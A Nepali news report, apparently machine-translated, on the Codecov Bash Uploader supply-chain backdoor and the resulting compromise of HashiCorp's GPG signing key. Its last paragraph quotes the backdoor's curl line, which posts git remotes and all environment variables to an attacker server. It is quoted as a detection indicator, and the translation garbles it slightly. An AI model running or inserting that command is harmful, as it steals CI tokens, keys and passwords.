Codecov स्क्रिप्टमा मालिसियस कोडको परिचयले HashiCorp PGP कुञ्जीको सम्झौताको नेतृत्व गर्‍यो।

HashiCorp, खुला स्रोत उपकरणहरू Vagrant, Packer, Nomad र Terraform विकास गर्नका लागि परिचित, डिजिटल हस्ताक्षरहरू सिर्जना गर्न प्रयोग गरिने निजी GPG कुञ्जीलाई विज्ञप्ति प्रमाणित गर्ने घोषणा गर्‍यो। GPG कुञ्जीमा पहुँच प्राप्त गर्ने आक्रमणकारीहरूले सही डिजिटल हस्ताक्षरको साथ प्रमाणित गरेर HashiCorp उत्पादनहरूमा लुकेका परिवर्तनहरू गर्न सक्छन्। सोही क्रममा कम्पनीले लेखापरीक्षणको क्रममा यस्तो परिमार्जन गर्ने प्रयासको कुनै निशान नभेटिएको बताएको छ ।

हाल, सम्झौता गरिएको GPG कुञ्जी खारेज गरिएको छ र यसको स्थानमा नयाँ कुञ्जी प्रस्तुत गरिएको छ। समस्याले SHA256SUM र SHA256SUM.sig फाइलहरू प्रयोग गरेर मात्र प्रमाणीकरणलाई असर गर्‍यो, र releases.hashicorp.com मार्फत आपूर्ति गरिएका Linux DEB र RPM प्याकेजहरूका लागि डिजिटल हस्ताक्षरहरूको उत्पादन, साथै macOS र Windows (AuthentiCode) को लागि रिलीज प्रमाणिकरण संयन्त्रहरूलाई असर गर्दैन। ।

लगातार एकीकरण प्रणालीहरूबाट कभरेज रिपोर्टहरू डाउनलोड गर्न डिजाइन गरिएको पूर्वाधारमा Codecov Bash Uploader (codecov-bash) स्क्रिप्टको प्रयोगको कारणले गर्दा चुहावट भयो। Codecov कम्पनीमा आक्रमणको क्रममा, निर्दिष्ट स्क्रिप्टमा पछाडिको ढोका लुकाइएको थियो, जसको माध्यमबाट आक्रमणकर्ताहरूको सर्भरमा पासवर्ड र इन्क्रिप्शन कुञ्जीहरू पठाइयो।

ह्याक गर्नको लागि, आक्रमणकारीहरूले कोडकोभ डकर छवि सिर्जना गर्ने प्रक्रियामा त्रुटिको फाइदा उठाए, जसले तिनीहरूलाई GCS (Google क्लाउड भण्डारण) मा पहुँच डेटा निकाल्न अनुमति दियो, codecov.io बाट वितरित बाश अपलोडर स्क्रिप्टमा परिवर्तन गर्न आवश्यक थियो। वेबसाइट। परिवर्तनहरू जनवरी 31 मा फिर्ता गरियो, दुई महिनासम्म पत्ता नलागेको र आक्रमणकारीहरूलाई ग्राहक निरन्तर एकीकरण प्रणाली वातावरणमा भण्डारण गरिएको जानकारी निकाल्न अनुमति दियो। थपिएको मालिसियस कोड प्रयोग गरेर, आक्रमणकारीहरूले परीक्षण गरिएको Git रिपोजिटरी र सबै वातावरणीय चरहरूको बारेमा जानकारी प्राप्त गर्न सक्थे, टोकनहरू, एन्क्रिप्शन कुञ्जीहरू र पासवर्डहरू सहित निरन्तर एकीकरण प्रणालीहरूमा पठाइएका एप्लिकेसन कोड, भण्डारहरू र Amazon Web Services र GitHub जस्ता सेवाहरूमा पहुँच व्यवस्थित गर्न।

प्रत्यक्ष कलको अतिरिक्त, Codecov Bash अपलोडर स्क्रिप्ट अन्य अपलोडरहरूको भागको रूपमा प्रयोग गरिएको थियो, जस्तै Codecov-action (Github), Codecov-circleci-orb र Codecov-bitrise-step, जसका प्रयोगकर्ताहरू पनि समस्याबाट प्रभावित छन्। codecov-bash र सम्बन्धित उत्पादनहरूका सबै प्रयोगकर्ताहरूलाई तिनीहरूका पूर्वाधारहरू, साथै पासवर्डहरू र इन्क्रिप्शन कुञ्जीहरू परिवर्तन गर्न सिफारिस गरिन्छ। तपाइँ रेखा कर्ल -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http:// को उपस्थितिद्वारा स्क्रिप्टमा ब्याकडोरको उपस्थिति जाँच गर्न सक्नुहुन्छ। /upload/v2 || सत्य

स्रोत: opennet.ru